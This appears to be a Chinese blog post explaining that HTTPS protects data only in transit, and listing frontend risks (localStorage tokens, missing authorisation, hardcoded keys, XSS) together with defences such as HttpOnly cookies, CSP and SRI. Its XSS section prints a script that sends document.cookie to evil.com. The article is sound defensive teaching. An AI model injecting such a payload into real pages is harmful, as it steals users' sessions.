前端加密翻車!明明用了 HTTPS,數(shù)據(jù)還是被竊取了?
Hello,大家好,我是 Sunday。
最近有同學(xué)和我吐槽:“項目全程用 HTTPS,結(jié)果數(shù)據(jù)還是被人竊取了!這不是白加密了嗎?”
是不是有點嚇人?我們平時寫代碼的時候,總覺得只要用上 HTTPS,就萬事大吉了。畢竟,傳輸過程被加密了嘛,中間人拿不到數(shù)據(jù),應(yīng)該很安全才對。
然而,現(xiàn)實卻狠狠打了臉。HTTPS ≠ 前端安全,它只能保證你在“傳輸過程”里不被竊聽,但一旦數(shù)據(jù)落地到瀏覽器,很多風(fēng)險就暴露無遺。
今天這篇文章,我們就來扒一扒:為什么用了 HTTPS,前端數(shù)據(jù)還是會被竊取?到底是哪里出了問題?
HTTPS 到底能保護什么?
想要搞明白這個問題,那么咱們得先知道 HTTPS 所謂的安全到底指得是什么?
HTTPS 的本質(zhì)是:在 HTTP 協(xié)議外面套了一層 TLS/SSL,通過 公鑰/私鑰加密 來保證通信過程中的數(shù)據(jù)安全。
因此,它所能解決的問題,其實就三部分,也就是傳說中的 “三防”:
- 防竊聽:數(shù)據(jù)在傳輸過程中是密文,抓包工具只能看到一堆亂碼。
- 防篡改:中間人不能隨意改數(shù)據(jù)包,否則校驗失敗。
- 防偽造:證書驗證能確保你訪問的是“真官網(wǎng)”,而不是釣魚站。
聽起來是不是很完美?
但是,但是要注意,它只保護了 “傳輸過程”。非傳輸過程,HTTPS 就管不了了。
而所謂的 非傳輸過程 指的是:
- 數(shù)據(jù)到瀏覽器后會怎樣:一旦解密,數(shù)據(jù)在前端就是明文,黑客能通過
F12控制臺直接拿到。 - 前端存儲安全:localStorage、sessionStorage、cookie 里的敏感信息,HTTPS 并不會替你守護。
- 前端代碼本身的漏洞:比如 XSS 注入、CSRF 攻擊,照樣能讓攻擊者輕松繞過 HTTPS。
- 等.......
非傳輸過程的常見翻車手段
那么根據(jù)以上所述,認為只要有了 HTTPS 那么整個前端數(shù)據(jù)就是全部安全的,這種想法肯定就是 錯誤的
而通常情況下,這種 ”不安全“ 主要就體現(xiàn)在 非傳輸過程 的層面。
給大家列舉幾個場景
1. 存儲環(huán)節(jié)不安全
前端最常見的存儲方案就是 localStorage。大家圖它簡單,刷新不丟數(shù)據(jù),持久化時間還長。于是習(xí)慣性把 登錄 token 往里面一塞,就完事了。
問題是:只要頁面里有一個 XSS 漏洞,攻擊者在控制臺輸入:
console.log(localStorage.getItem("token"))就能直接拿到。根本不需要劫持 HTTPS 流量,也不需要多復(fù)雜的手段,在你用戶的瀏覽器里就能把登錄態(tài)拷貝走。
有同學(xué)說,那我用 sessionStorage 唄,刷新就沒了,是不是會更加安全呢?
實際上區(qū)別不大,因為只要有人能執(zhí)行腳本,你的東西依舊是透明的。
再說 cookie,如果你沒加 HttpOnly,JS 也能拿到。如果沒加 SameSite,還可能被 CSRF 利用。存哪都不是絕對安全,重點還是要減少暴露面。
2. 接口鑒權(quán)沒做好
我遇到過最“離譜”的一個項目:接口只要帶上 token 就能訪問。后端不校驗 token 對應(yīng)的權(quán)限,不管是誰的 token,只要存在,就放行。
舉個例子:比如 /api/user/list 這個接口,本來應(yīng)該只有管理員能調(diào)。結(jié)果普通用戶也能直接調(diào)用,返回全量用戶數(shù)據(jù)。
這種情況下,你前端再怎么加密、怎么存儲,都沒意義,因為漏洞出在后端鑒權(quán)。
還有一種常見情況:只校驗登錄態(tài),不校驗數(shù)據(jù)歸屬。
比如,你訪問 /api/order?id=123,本來應(yīng)該只能查自己的訂單。結(jié)果后端沒做限制,隨便改個 id,別人訂單你也能看。
這種就是典型的 越權(quán)訪問。
3. 密鑰寫死在前端
有些人為了“提高安全性”,會在前端做一層簽名。比如:
const sign = md5(data + "my-secret");然后上線。
問題是:前端代碼打包后,還是會被用戶下載到本地運行。別人只要解壓縮一下代碼,就能看到你寫死的密鑰。
這也是為什么很多安全方案都會強調(diào):密鑰必須只存在后端。前端做的加密,只能算是“提高門檻”,絕不是核心保障。
4. XSS 注入攻擊
再牛的加密方案,只要有 XSS,都能直接被繞過。比如:頁面有個輸入框,沒有做轉(zhuǎn)義過濾,攻擊者輸入:
<script>
fetch("http://evil.com?cookie=" + document.cookie)
</script>這段腳本一旦被執(zhí)行,你的 cookie、localStorage、甚至頁面上所有 DOM 數(shù)據(jù),全都直接送出去了。
更狠一點的,攻擊者可以模擬用戶操作。直接在你頁面里幫他點按鈕、發(fā)請求,完全像真的用戶一樣。
所以,XSS 一旦存在,所有前端加密都形同虛設(shè)。
安全防護手段
那么,說完了翻車的常見情況之后,接下來咱們就來看一些安全防護手段。
整個安全防護手段,咱們分成 前端 + 后端 兩部分來說。
一、前端能做的(減面攻擊面、降低暴露)
別把敏感 token 放在可讀存儲
access token 只放在內(nèi)存,刷新頁面就重新?lián)Q。
refresh token 丟到 HttpOnly Cookie 里,JS 讀不到。這樣即使頁面被 XSS 打到,攻擊者也拿不到核心登錄態(tài)。
請求帶上 CSRF 防護
對非冪等請求(POST/PUT/DELETE),配合后端用 SameSite + CSRF Token。
盡量少用 innerHTML / dangerouslySetInnerHTML / v-html
能不渲染 HTML 就不要渲染,渲染用戶內(nèi)容時一定要做嚴(yán)格轉(zhuǎn)義或用可信模板。
給第三方腳本加 SRI(Subresource Integrity) & lazy-load
<script src="https://cdn.sunday.com/lib.js"
integrity="sha384-xxxx"
crossorigin="anonymous"></script>防止 CDN 被篡改時腳本被注入惡意代碼。并盡量按需加載、延遲執(zhí)行。
使用 CSP 限制可執(zhí)行源(嚴(yán)格到 nonce/sha)
基本示例(后端設(shè)置 HTTP header):
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'nonce-<RANDOM>'; object-src 'none'; base-uri 'none';禁止 eval()、禁止 inline script(或使用 nonce 動態(tài)注入允許的腳本)。
二、后端能做的(前后端協(xié)同處理)
HttpOnly + Secure + SameSite Cookie 策略(登錄態(tài))
- Set-Cookie 示例(后端):
Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=2592000access token 在登錄后由后端以短時(比如 5–15 分鐘)簽發(fā),并通過刷新接口更新。刷新接口僅接受 HttpOnly refresh cookie。
最小權(quán)限 & 資源級鑒權(quán)
不要只校驗“登錄態(tài)存在”。接口要校驗:用戶身份、角色、資源歸屬(owner),參數(shù)改動不能越權(quán)訪問別人的數(shù)據(jù)。
簽名 + 時間戳 + nonce 防重放(敏感接口)
請求里帶 timestamp + nonce + signature,后端用服務(wù)端密鑰或用戶專屬 secret 驗簽,且檢查 nonce 是否已被使用(可放 Redis)。
前端:不在前端保存 secret。前端只發(fā)送 timestamp/nonce,signature 由后端或受信任組件生成/校驗。
最小暴露面 + 輸出脫敏
接口返回盡量脫敏(手機號只返回后 4 位),敏感字段按需授權(quán)。不要在 debug 環(huán)境上把真實數(shù)據(jù)上到線上。
綜上所述。HTTPS 他只能保護的只是傳輸過程,真正決定你數(shù)據(jù)是否安全的,是 存儲方式、接口鑒權(quán)、密鑰管理,以及對 XSS/CSRF 的防護 等內(nèi)容。





























